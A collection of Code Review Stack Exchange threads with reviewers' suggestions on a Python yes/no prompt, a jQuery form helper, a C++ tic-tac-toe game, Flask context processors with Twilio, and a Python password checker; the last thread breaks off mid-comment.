<p>So I have encountered a problem with asking user for input to be exact what is the best way to ask yes/no, for example accepting y / n and why is <code>if i == no or i == c_n:</code> not working? What are other mistakes or bad practices that I'm doing here?</p> <pre><code>i = input('yes/no: ') success = &quot;Success&quot; exit = &quot;EXIT&quot; error = 'ERROR' yes = 'yes' c_y = 'y' c_n = 'n' no = 'no' if i.lower().strip() == yes: i = input('Continue: ').lower().strip() if i == yes or i == c_y: print('{}'.format(success)) if i == no or i == c_n: print('{}'.format(exit)) else: print('{}'.format(error)) </code></pre> <p>Solution to my problem:</p> <pre><code>success = &quot;Success&quot; exit = &quot;EXIT&quot; error = 'ERROR' yesAnswers = ['yes', 'y', 'sure!', '']; noAnswers = ['no', 'n', 'nope'] answer = input('Yes/No or Enter: ').lower().strip() if answer in yesAnswers: print(success) elif answer in noAnswers: print(exit) else: print(error) </code></pre> <p>Full code:</p> <pre><code>class characters: def __init__(self, title, character_name, power_score, biography): self.title = title self.character_name = character_name self.power_score = '| ' + 'Power score - ' + power_score + ' -\n' self.biography = biography def title_name(self): print('{} {}'.format(self.title,self.character_name)) def characters_data(self): print('{} {} {} {}'.format(self.title, self.character_name, self.power_score, self.biography)) B_Cider = characters('Barbarian', 'Cider', '4854', 'Not much is known about this character') L_Cido = characters('Lord', 'Cido', '7910', 'Not much is known about this character' ) # Y(Height) of ascii-art z = 12 for x in range(z): print(&quot;-&quot; * (z-x) + &quot;*&quot; * x + &quot; &quot; * x + &quot;-&quot; * (z-x)) # ............... answer = input('Are you ready to play? (Yes/No or Enter) : ').lower().strip() first_selection = &quot;Do you want to be a Hero? (Yes/No or Enter) : &quot; not_Ahero = &quot;\nYou have selected not to be a hero\n____\nYour characters profile:&quot; Ahero = &quot;\nYou have selected to be a hero\n____\nYour characters profile:&quot; error = 'ERROR' yesAnswers = {'yes', 'y', 'sure!', 'yea', 'yeah', 'ye', 'si', ''} noAnswers = {'no', 'n', 'nope', 'nah', 'not'} if answer in yesAnswers: answer = input(first_selection).lower().strip() if answer in yesAnswers: print(Ahero) print(characters.characters_data(B_Cider)) if answer in noAnswers: print(not_Ahero) print(characters.characters_data(L_Cido)) else: print(error) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T16:34:58.830", "Id": "508574", "Score": "2", "body": "Does this exist as part of a larger program? If so, please show the full source." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T21:45:17.403", "Id": "508589", "Score": "0", "body": "Updated post with full source." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:00:15.787", "Id": "508698", "Score": "0", "body": "Off-topic, but uh. There's no such thing as an HTML402. Maybe you meant an HTTP 402." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:02:45.930", "Id": "508699", "Score": "1", "body": "Yes and yes - HTTP Status Code 402 would make more sense" } ]
[ { "body": "<p>Your updated code looks way cleaner already. Your membership tests <code>answer in yesAnswers</code> / <code>answer in noAnswers</code> are obviously not performance critical here. But in general (especially on large datasets) it's preferrable to use sets for membership tests since they can provide membership information in constant instead of linear time.</p>\n<p>Examples:</p>\n<pre><code>yesAnswers = {'yes', 'y', 'sure!', ''}\n</code></pre>\n<p>or</p>\n<pre><code>noAnswers = set('no', 'n', 'nope')\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T16:19:37.537", "Id": "257475", "ParentId": "257469", "Score": "2" } }, { "body": "<ul>\n<li><code>characters</code> should be named <code>Character</code></li>\n<li>Add some type hints</li>\n<li>Use f-strings</li>\n<li>Use <code>int</code> or <code>float</code> for power score, not <code>str</code></li>\n<li>Use a <code>@property</code> where appropriate</li>\n<li>As-is, there isn't a lot of advantage to separating your prompt strings into variables</li>\n<li>For the data method, don't force a <code>print</code> - just return a string and print at the outer level</li>\n<li>Add a <code>main</code></li>\n<li>Square brackets around an input choice implies that it is the default to be selected on 'enter'</li>\n<li>Simplify your yes/no check to only care about the first letter; anything more complicated isn't all that useful</li>\n<li>Add an input validation loop</li>\n</ul>\n<p>Suggested:</p>\n<pre><code>class Character:\n def __init__(\n self,\n title: str,\n name: str,\n power_score: int,\n biography: str = 'Not much is known about this character',\n ):\n self.title = title\n self.name = name\n self.power_score = power_score\n self.biography = biography\n\n @property\n def full_name(self) -&gt; str:\n return f'{self.title} {self.name}'\n\n @property\n def data(self) -&gt; str:\n return (\n f'{self.title} {self.name} | Power score - {self.power_score} -\\n'\n f'{self.biography}'\n )\n\n\ndef ascii_art():\n # Y(Height) of ascii-art\n z = 12\n for x in range(z):\n hyphens = &quot;-&quot; * (z-x)\n print(hyphens + &quot;*&quot; * x + &quot; &quot; * x + hyphens)\n\n\ndef input_yesno(prompt: str) -&gt; bool:\n full_prompt = f'{prompt} ([Yes]/No): '\n while True:\n answer = input(full_prompt).strip()\n if answer == '':\n return True\n\n answer = answer[0].lower()\n if answer == 'y':\n return True\n if answer == 'n':\n return False\n print('ERROR')\n\n\ndef main():\n ascii_art()\n if not input_yesno('Are you ready to play'):\n return\n\n is_hero = input_yesno('Do you want to be a Hero')\n print('\\nYou have selected', end=' ')\n if is_hero:\n print('to be a hero')\n character = Character('Barbarian', 'Cider', 4854)\n else:\n print('not to be a hero')\n character = Character('Lord', 'Cido', 7910)\n\n print(&quot;\\nYour character's profile:&quot;)\n print(character.data)\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T15:07:27.643", "Id": "257530", "ParentId": "257469", "Score": "3" } } ]
{ "AcceptedAnswerId": "257530", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T09:56:04.917", "Id": "257469", "Score": "6", "Tags": [ "python", "python-3.x" ], "Title": "Asking for a yes/no user input" }
257469
<p>I would like to see if my code below can still be optimized, resulting in lesser lines of code. My code retrieves the values from a multiselect field and assign them to hidden fields that will be passed to an integrated googlesheet. Thanks</p> <pre><code> jQuery(&quot;.ff-btn-submit&quot;).click(function() { if(jQuery(&quot;input:radio[name=gift_choice]&quot;).is(&quot;:checked&quot;) ) { if (jQuery(&quot;input[name=gift_choice]:checked&quot;).val() == 'yes') { // Retrieve multi-select values var selectedValues = []; selectedValues = $('#ff_124_multi_select_gifts').val(); // Set hidden input with the chosen gift. if (selectedValues.length &gt; 0) { jQuery(&quot;input[name=gift_1]&quot;).val(selectedValues[0]); jQuery(&quot;input[name=gift_2]&quot;).val(selectedValues[1]); jQuery(&quot;input[name=gift_3]&quot;).val(selectedValues[2]); jQuery(&quot;input[name=gift_4]&quot;).val(selectedValues[3]); jQuery(&quot;input[name=gift_5]&quot;).val(selectedValues[4]); jQuery(&quot;input[name=gift_6]&quot;).val(selectedValues[5]); } } } }); </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T07:27:14.760", "Id": "508630", "Score": "0", "body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T06:04:29.933", "Id": "508919", "Score": "0", "body": "Yes, I agree and ensure to follow the standard going forward. Thanks" } ]
[ { "body": "<p>I have few hints save jQuery in $ variable:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>(function($) {\n // your code\n})(jQuery);\n</code></pre>\n<p>$ is common for jQuery and it's easier to read because it shorter.</p>\n<p>Second and obvious is using loop to run calls in:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code> if (selectedValues.length &gt; 0) {\n selectedValues.forEach(function(value, i) {\n var num = i + 1;\n $(`input[name=gift_${num}]`).val(value);\n });\n }\n</code></pre>\n<p>and further improvement is to move that into a function. So instead of comment:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>// Set hidden input with the chosen gift.\n</code></pre>\n<p>you can have:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>setHiddenInputs(selectedValues);\n\n\nfunction setHiddenInputs(values) {\n values.forEach(function(value, i) {\n var num = i + 1;\n $(`input[name=gift_${num}]`).val(value);\n });\n}\n</code></pre>\n<p>I would also merge those two lines:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>var selectedValues = [];\nselectedValues = $('#ff_124_multi_select_gifts').val();\n</code></pre>\n<p>you assign array for no reason and then replace it with output of val() call:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>var selectedValues = $('#ff_124_multi_select_gifts').val();\n</code></pre>\n<p>also if selectedValues are gifts then you can use:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>var selectedGifts = $('#ff_124_multi_select_gifts').val();\nsetHiddenInputs(selectedGifts);\n</code></pre>\n<p>which is exactly what your comment try to say</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T18:40:20.017", "Id": "257483", "ParentId": "257471", "Score": "1" } } ]
{ "AcceptedAnswerId": "257483", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T11:29:31.020", "Id": "257471", "Score": "0", "Tags": [ "jquery" ], "Title": "How can I have jQuery code further optimized?" }
257471
<p>Just created my first C++ project, and wondering if I could get some feedback on where to improve? I might swap from arrays to vectors and add alpha beta pruning later, but wanted to first see where I can improve on the base code.</p> <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; const char PLAYER_ONE_MARKER = 'X'; const char PLAYER_TWO_MARKER = 'O'; const char UNFILLED_MARKER = ' '; char board[3][3]; const int MAX_TURNS = sizeof(board); void drawBoard(); void placeMarker(bool isPlayerOne, int row, int col); bool checkValidInput(int row, int col); bool checkWon(int row, int col); int main() { int row, col; bool isPlayerOneTurn = true; int turn = 0; bool isGameRunning = true; bool isValidInput; // fills board with unfilled_marker std::fill(&amp;board[0][0], &amp;board[0][0] + sizeof(board) / sizeof(board[0][0]), ' '); while (isGameRunning) { // loops until we get a valid set of input from player isValidInput = false; do { std::cout &lt;&lt; &quot;Player &quot; &lt;&lt; (isPlayerOneTurn ? &quot;1&quot; : &quot;2&quot;) &lt;&lt; &quot;, what is your move?\n&quot;; std::cin &gt;&gt; row &gt;&gt; col; isValidInput = !std::cin.fail() &amp;&amp; checkValidInput(row, col); std::cin.clear(); std::cin.ignore(10, '\n'); } while (!isValidInput); placeMarker(isPlayerOneTurn, row, col); // after we place marker, check if player has won if (checkWon(row, col)) { std::cout &lt;&lt; &quot;Player &quot; &lt;&lt; (isPlayerOneTurn ? &quot;1&quot; : &quot;2&quot;) &lt;&lt; &quot; has won!\n&quot;; isGameRunning = false; } else if (++turn &gt;= MAX_TURNS) { std::cout &lt;&lt; &quot;It's a draw\n&quot;; isGameRunning = false; } drawBoard(); // switches to other player's turn isPlayerOneTurn = !isPlayerOneTurn; } return 0; } void drawBoard() { int rows = sizeof(board) / sizeof(board[0]); for (int i = 0; i &lt; rows; ++i) { std::cout &lt;&lt; board[i][0] &lt;&lt; &quot; | &quot; &lt;&lt; board[i][1] &lt;&lt; &quot; | &quot; &lt;&lt; board[i][2] &lt;&lt; std::endl; // draws line between rows if (i &lt; rows - 1) { std::cout &lt;&lt; &quot;---------------\n&quot;; } } } bool checkValidInput(int row, int col) { if (row &lt; 0 || col &lt; 0 || row &gt; 2 || col &gt; 2) return false; // checks if position supplied is already marked return board[row][col] == UNFILLED_MARKER; } void placeMarker(bool isPlayerOne, int row, int col) { char marker = isPlayerOne ? PLAYER_ONE_MARKER : PLAYER_TWO_MARKER; board[row][col] = marker; } // given the move played, check if user has won bool checkWon(int row, int col) { // first check for horizontal/vertical victory cases if (board[row][0] == board[row][1] &amp;&amp; board[row][1] == board[row][2]) return true; if (board[0][col] == board[1][col] &amp;&amp; board[1][col] == board[2][col]) return true; // for top-left to bottom-right diagonals, row and col must be the same // for instance (0, 0) - (1, 1) - (2, 2) // for bottom left to top-right, one of th terms must be (0, 2) or (2, 0) // hence we can just use abs(row - col) == 2 to test if (row == col || std::abs(row - col) == 2) { if (board[0][0] == board[1][1] &amp;&amp; board[1][1] == board[2][2] &amp;&amp; board[1][1] != UNFILLED_MARKER) return true; if (board[2][0] == board[1][1] &amp;&amp; board[1][1] == board[0][2] &amp;&amp; board[1][1] != UNFILLED_MARKER) return true; } return false; } </code></pre>
[]
[ { "body": "<p>This is not at all a bad effort for someone new to the C++ language. Here are some things that may help you improve your program.</p>\n<h2>Use the required <code>#include</code>s</h2>\n<p>The code uses <code>std::fill</code> which means that it should <code>#include &lt;algorithm&gt;</code>. It was not difficult to infer, but it helps reviewers if the code is complete.</p>\n<h2>Eliminate global variables where practical</h2>\n<p>The code declares and uses a global variable, <code>board</code>. Global variables obfuscate the actual dependencies within code and make maintainance and understanding of the code that much more difficult. It also makes the code harder to reuse. For all of these reasons, it's generally far preferable to eliminate global variables and to instead pass pointers to them. That way the linkage is explicit and may be altered more easily if needed. One could create the <code>board</code> within <code>main</code> and then pass a pointer or reference to it to the other routines that need it, or better yet, see the next suggestion.</p>\n<h2>Use a C++ object</h2>\n<p>Rather than using the global variable <code>board</code> and then having separate functions that manipulate that variable such as <code>drawBoard()</code> and <code>placeMarker()</code> in an object-oriented language such as C++ we can gather these together into an <em>object</em>. That might look something like this:</p>\n<pre><code>class Board {\npublic:\n Board();\n void drawBoard();\n void placeMarker(bool isPlayerOne, int row, int col);\n bool checkValidInput(int row, int col);\n bool checkWon(int row, int col);\n static constexpr char PLAYER_ONE_MARKER = 'X';\n static constexpr char PLAYER_TWO_MARKER = 'O';\n static constexpr char UNFILLED_MARKER = ' ';\n static constexpr size_t numrows = 3;\n static constexpr size_t numcols = 3;\n static constexpr unsigned max_turns = numrows * numcols;\nprivate:\n char board[3][3];\n};\n</code></pre>\n<h2>Eliminate &quot;magic numbers&quot;</h2>\n<p>There are a few numbers in the code, such as <code>3</code> and <code>2</code> that have a specific meaning in their particular context. By using named constants such as <code>numrows</code> or <code>numcols</code>, the program becomes easier to read and maintain.</p>\n<h2>Don't use <code>std::endl</code> if you don't really need it</h2>\n<p>The difference betweeen <code>std::endl</code> and <code>'\\n'</code> is that <code>'\\n'</code> just emits a newline character, while <code>std::endl</code> actually flushes the stream. This can be time-consuming in a program with a lot of I/O and is rarely actually needed. It's best to <em>only</em> use <code>std::endl</code> when you have some good reason to flush the stream and it's not very often needed for simple programs such as this one. Avoiding the habit of using <code>std::endl</code> when <code>'\\n'</code> will do will pay dividends in the future as you write more complex programs with more I/O and where performance needs to be maximized.</p>\n<h2>Consider using a standard container</h2>\n<p>There is little reason in modern C++ to use a plain array rather than a standard container such as <code>std::array</code>. I'd suggest that <code>board</code> could be this instead:</p>\n<pre><code>std::array&lt;char,max_turns&gt; board;\n</code></pre>\n<p>The initialization would then be much more easily written:</p>\n<pre><code>std::fill(board.begin(), board.end(), UNFILLED_MARKER);\n</code></pre>\n<p>Note that this form would require the conversion of row,column coordinates but if this is placed in an object, that detail can easily be isolated to within the object.</p>\n<h2>Don't use ALL_CAPS for constants</h2>\n<p>The use ALL_CAPS for constants defined as macros has been common practice for decades. To avoid misleading readers of your program, non-macro constants should not be ALL_CAPS. See <a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Res-not-CAPS\" rel=\"nofollow noreferrer\">ES.9</a> for details.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T10:16:43.470", "Id": "508725", "Score": "0", "body": "Thank you so much for your extensive feedback, and this is awesome. I'll work on refactoring my code based on your tips, especially OOP. Also, really interesting to read that C++ doesn't like all_caps for constants, will keep that in mind!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T13:23:11.407", "Id": "257522", "ParentId": "257473", "Score": "1" } } ]
{ "AcceptedAnswerId": "257522", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T13:21:12.777", "Id": "257473", "Score": "3", "Tags": [ "c++", "beginner" ], "Title": "Basic TicTacToe implementation in C++" }
257473
<p>I am working on a Flask application (side-project) to send text-messages to customers using Twilio. There is two different list of customers, 1 for <code>testing</code> and for <code>production</code> (stored in MongoDB). Current functionalities:</p> <ul> <li>user login/ logout</li> <li>Add, remove or search a user in both test and production collections</li> <li>Send a text message to a given list (using Twilio API)</li> <li>Get the current credit amount left on Twilio</li> <li>(to-do): get an overview of the past messages sent / the cost of the campaign and the date</li> </ul> <p><a href="https://i.stack.imgur.com/MeAQU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MeAQU.png" alt="enter image description here" /></a></p> <p>I used to have everything under <code>main.py</code> but I recently refactored most of my code to make it more readable. I am now using blueprints and initializing my app using the factory design pattern. So far, I only have a single blueprint (<code>user</code>) but I am trying to split logic between <code>user</code> blueprint (login/logout) and <code>messaging</code> (send messages).</p> <p>On my navbar, I display the amount left of Twilio (81 euros in the image). I am using the Flask <code>context_processor</code> to inject the value on the navbar. However, the point of having a blueprint is that it encapsulates everything. And if I have multiple blueprints, I would need to duplicate that <code>context_processor</code>.</p> <p><strong>web_messaging/templates/layouts/base.html</strong> (where the credit amount is injected)</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang=&quot;en&quot;&gt; &lt;body&gt; &lt;nav class=&quot;navbar navbar-expand-md bg-dark navbar-dark fixed-top&quot;&gt; ... &lt;ul class=&quot;navbar-nav ml-auto&quot;&gt; {% if current_user.is_authenticated %} &lt;li class=&quot;nav-item&quot;&gt; &lt;a class=&quot;nav-link&quot;&gt;{{credit}} €&lt;/a&gt; &lt;/li&gt; &lt;li class=&quot;nav-item&quot;&gt; &lt;a class=&quot;nav-link&quot; href=&quot;{{url_for('user.logout')}}&quot;&gt;Déconnection&lt;/a&gt; &lt;/li&gt; {% else %} &lt;li class=&quot;nav-item&quot;&gt; &lt;a class=&quot;nav-link&quot; href=&quot;{{url_for('user.login')}}&quot;&gt;Connection&lt;/a&gt; &lt;/li&gt; {% endif %} &lt;/ul&gt; &lt;/div&gt; &lt;/nav&gt; {% block body %}{% endblock %} &lt;/html&gt; </code></pre> <p><strong>web_messaging/blueprints/user/routes.py</strong> (where the credit is generated)</p> <pre><code>user = Blueprint('user', __name__, template_folder='templates') ... def get_current_credits(): balance_data = client.api.v2010.balance.fetch() balance = float(balance_data.balance) currency = balance_data.currency return balance, currency @user.context_processor def inject_credit(): credit, currency = get_current_credits() if currency != &quot;EUR&quot;: credit = c.convert(credit, currency, 'EUR') return dict(credit=(round(credit,2))) </code></pre> <p>What I am thinking about is to create a <strong>web_messaging/context_manager.py</strong> file to manage all contexts. The issue I see here is I will have to import Twilio library on context.py</p> <pre><code>def get_current_credits(): balance_data = client.api.v2010.balance.fetch() balance = float(balance_data.balance) currency = balance_data.currency return balance, currency def inject_credit(): credit, currency = get_current_credits() if currency != &quot;EUR&quot;: credit = c.convert(credit, currency, 'EUR') return dict(credit=(round(credit,2))) </code></pre> <p><strong>web_messaging/app.py</strong></p> <pre><code>from context import inject_credit def create_app(settings_override=None): app = Flask(__name__, instance_relative_config=True) app.config.from_object('config.settings') app.config.from_pyfile('settings.py', silent=True) app.register_blueprint(user) app.register_blueprint(texting) extensions(app) configure_context_processors(app) # here return app def configure_context_processors(app): processors = [inject_credit] for processor in processors: app.context_processor(processor) </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T14:02:20.933", "Id": "257474", "Score": "0", "Tags": [ "python", "object-oriented", "design-patterns", "flask" ], "Title": "Flask blueprints and context_processor - Best approch?" }
257474
<p>I have made a <em>password verification</em> &quot;program&quot; which takes user input and checks whether the password is valid or not. Based on that, a reply is printed.</p> <pre><code>print(&quot;Create a password! Your password must have 8 to 12 digits. Numbers and lower as well as upper case letters must be a part of it!&quot;) password = input(&quot;Enter your password:&quot;) res = any(chr.isdigit() for chr in password) res2 = any(chr.islower() for chr in password) res3 = any(chr.isupper() for chr in password) if len(password) &gt;= 8 and len(password) &lt;13 and res == True and res2 == True and res3 == True : print(&quot;Welcome!&quot;) else: print(&quot;Your password is not valid!&quot;) </code></pre> <p>Is there a more elegant or better way? Maybe you also have some ideas on how to expand the project?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T18:28:27.183", "Id": "508771", "Score": "8", "body": "Don't worry, I was not planing on using this for anything. It was just a small project so that I have something specific to look into. Otherwise getting into programming seems pretty overwhelming" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T15:38:33.293", "Id": "508962", "Score": "0", "body": "I remember that overwhelming feeling (hell, I still have it sometimes), but don‘t let it discourage you. For me the key was to find projects that steadily increase in complexity. The closer a project is to a real use case, the better." } ]
[ { "body": "<p>Two general points about your code:</p>\n<ol>\n<li><p><strong>Variable naming:</strong> <code>res, res2, res3</code> are not descriptive, so it's harder to understand at first glance what their purpose is. Instead\nI would recommend something similiar to <code>contains_digit, contains_lower_char, contains_upper_char</code>. Variable naming is always up to a bit of personal preference, but explicit names are generally preferable.</p>\n</li>\n<li><p><strong>Conditionals:</strong> The way the condition in your if-statement is set up is suboptimal. Firstly: <code>len(password) &gt;= 8 and len(password) &lt;13</code> can be shortened to <code>8 &lt;= len(password) &lt;= 12</code> or <code>len(password) in range(8, 13)</code>. This is more readable and depicts your intentions in a more concise way. Secondly: You almost never need <code>== True</code> clauses since <code>True == True -&gt; True</code> and <code>False == True -&gt; False</code>. So the second part of your condition can be shortened to <code>res and res2 and res3</code>. This is also where better variable names make the functionality of your program way clearer.</p>\n</li>\n</ol>\n<p>To avoid multiple concatenated <code>and</code>-statements you could probably use something like <code>all([len(password) in range(8, 13), res, res2, res3])</code>, but I find this usually decreases readbility.</p>\n<p>To conclude I would suggest the following if-condition:</p>\n<pre><code>if 8 &lt;= len(password) &lt;= 12 and contains_digit and contains_lower and contains_upper:\n</code></pre>\n<p>On a side note: This is not a password generator, but a password validity checker. You might want to additionally check, that the password only includes ASCII-characters if that is relevant.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T17:03:41.870", "Id": "508575", "Score": "0", "body": "Thank you! That's really helpful, I can see what you mean" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T17:05:17.137", "Id": "508576", "Score": "0", "body": "Glad to help. Please consider marking the question as answered (i.e. accept an answer) if you requirements are met, so other contributors know the question does not require further attention." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T17:17:06.543", "Id": "508578", "Score": "12", "body": "Please consider upvoting the question as well. If it was worth answering, it should've been worth a vote too. Otherwise, why did you answer it? ;-)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T16:33:19.590", "Id": "508867", "Score": "0", "body": "@mast is that a thing?" } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T17:01:20.757", "Id": "257478", "ParentId": "257476", "Score": "29" } }, { "body": "<p>Not much more to add here, but you'll quickly find that this routine is too basic for the need and <strong>regular expressions</strong> are the way to go.</p>\n<p>This routine does not guarantee that the resulting password will be <em>balanced</em>, that is sufficiently &quot;random&quot; and hard to guess. For example <code>AAAbbb123</code> or <code>Abcdef123</code> will pass your test. These are not strong passwords and they may even be in some lists of common passwords (pwnlists), which means they are less likely to withstand brute force attempts. Or what about <code>Ab1</code> followed by 5 or more whitespace characters ? The point is that really poor patterns will get through.</p>\n<p>On the other hand, a really good password is hard to remember for humans but that's why we have password managers, especially that each password should be unique and not reused across sites.</p>\n<p>@riskypenguin suggests that you may want to restrict input to ASCII characters only. I'm not sure I would do that. Using non-standard strings increases <strong>complexity</strong>. You may have foreign users who are accustomed to their native script, for example Japanese. They may want to use their keyboard in &quot;native mode&quot; without switching to ASCII.</p>\n<p>Due to the complexity, many developers prefer to ignore the subject and stick to ASCII but see below if you want to learn more.</p>\n<p>Nowadays websites usually use the UTF-8 character set and this usually holds true for database storage. Plus, you are not supposed to store the plaintext password but a <strong>hash</strong>, like a salted SHA-512 hash, which is plain ASCII.</p>\n<p>Finally, limiting the length to 12 characters is a poor choice. Some users may want to use longer passwords, or a more <em>memorable</em> <strong>passphrase</strong>. The choice of 12 characters is arbitrary and puts a cap on complexity. The real limit should be the length of the password field in your HTML forms. Yeah, 50 characters should be reasonable maybe. But 12 ? This is so 1996 I think :)</p>\n<p>References:</p>\n<ul>\n<li><a href=\"https://docs.python.org/3/howto/unicode.html\" rel=\"noreferrer\">Python Unicode HOWTO</a></li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:36:22.250", "Id": "508608", "Score": "9", "body": "The main and super important point here is that the actual *policy* being implemented by OP is bad, and has been known to be bad for many years. I pity the users if this code ever makes it into production." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T01:25:49.853", "Id": "508617", "Score": "1", "body": "A really good password is hard to remember for humans? Hardly, as you seem to allude to later. See https://security.stackexchange.com/questions/6095/xkcd-936-short-complex-password-or-long-dictionary-passphrase Of course, there are systems imposing unreasonable restrictions regarding password-length and contents to work in an insecure manner." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T08:46:59.903", "Id": "508641", "Score": "9", "body": "\"Finally, limiting the length to 12 characters is a poor choice.\" +1 for that alone." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:22:01.930", "Id": "508669", "Score": "3", "body": "*store the plaintext password but a hash, like a salted SHA-512 hash* no, you should not do that.SHA is a fast hash and you do not want that. You want it to be slow, independent on hardware etc. There are special hashes done just for that (PBKDF2, bcrypt, argon ...)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T21:54:05.327", "Id": "508786", "Score": "0", "body": "mandatory [xkcd: Password Strength](https://xkcd.com/936/)" } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T18:17:01.140", "Id": "257480", "ParentId": "257476", "Score": "13" } }, { "body": "<p>There are two separate questions here, and I'll try to tackle both. You're asking how to improve the code, which I'll separate into two halves: &quot;How can I make this into better code that does the same thing?&quot;, and &quot;How can I make this do better things?&quot;.</p>\n<p>Making the code better while doing the same thing:</p>\n<pre><code>if len(password) &gt;= 8 and len(password) &lt;13 and res == True and res2 == True and res3 == True :\n</code></pre>\n<p>You're doing a &quot;betweenness&quot; check here, which Python actually makes really easy. Also, you don't have to check if something is equal to True - just check if it is. So, try this:</p>\n<pre><code>if 8 &lt;= len(password) &lt; 13 and res and res2 and res3:\n</code></pre>\n<p>Others have mentioned variable naming, so I'll just briefly say that I agree, and &quot;has_lower&quot; and so on would be better than &quot;res2&quot;.</p>\n<p>It's a very small UI adjustment, but I prefer a space after a colon prompt.</p>\n<pre><code>password = input(&quot;Enter your password:&quot;)\npassword = input(&quot;Enter your password: &quot;)\n</code></pre>\n<p>So, on to doing things in better ways.</p>\n<p>An easy one: Check out the <a href=\"https://docs.python.org/3/library/getpass.html\" rel=\"noreferrer\">getpass</a> module for a better way to ask the user for a password. Where possible, it'll mask the password, or hide it from history, or whatever else is appropriate for the environment it's in.</p>\n<p>Secondly: Don't ever limit the length of a password, other than to cut off really ridiculous things that wouldn't actually be passwords at all. For instance, a limit of 50 (as has been suggested) is probably not a problem, but I'd go all the way to 256 or more, unless you have something that actually can't work with passwords that long. There's definitely no reason to cap it at thirteen.</p>\n<p>If you want to get really sophisticated, what you can consider is a hybrid of bank-style password requirements (&quot;must have at least one upper, one lower, one digit, one symbol, and one character that can't be typed on a US English keyboard&quot;) and a much more secure length requirement. Permit <a href=\"https://xkcd.com/936\" rel=\"noreferrer\">XKCD 936 style passwords</a> by simply allowing any password greater than some length requirement. Since this is an exercise in Python coding, here's what I'd recommend: Give a score to each category of character you've found (eg 26 points for a lower-case letter, 26 more for an upper-case, 10 for a digit, etc), add up all those scores, and raise it to the power of the length of the password. That's a decent way to evaluate a password's complexity, although it's never going to be perfect (XKCD 936 passwords are extremely difficult to judge fairly unless you know the original word list); you can then play around with it and see just how long a pure-lower-case-ASCII-letter password needs to be in order to score as well as a more bank-complex password. HINT: It's not nearly as long as many people's intuition says it is.</p>\n<p>If you want to actually get into password <em>generation</em>, as opposed to <em>validation</em>, I'd recommend looking at the <a href=\"https://docs.python.org/3/library/secrets.html\" rel=\"noreferrer\">secrets module</a>, which has a variety of tools that will help you.</p>\n<p>Have fun with it!</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:25:17.547", "Id": "508670", "Score": "0", "body": "*unless you have something that actually can't work with passwords that long* this usually means bad news. When a password length is capped, I am always extremely suspicious of the way it is handled. Having a 1MB big password should not be an issue. With 1GB you may run into some timeout and performance issues, but never security ones. (examples of 1 MB or 1GB passwords are of course exaggerated)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:03:26.767", "Id": "508737", "Score": "1", "body": "Yep. Depending on the protocol, sometimes it's worth setting a practical limit, just to prevent protocol failures, and there's always the possibility that there's something in the system that doesn't want a password more than (say) 65536 bytes. I'm not ruling out the possibility. But yeah, you definitely don't want to cap it at 13 characters." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:49:43.797", "Id": "508752", "Score": "0", "body": "*there's always the possibility that there's something in the system that doesn't want a password more than (say) 65536 bytes* → that should never be the case. The password is checked against a hash (so it does not matter if the password is 1 or 98098080809 chars long), and then there is a session token (or similar) that 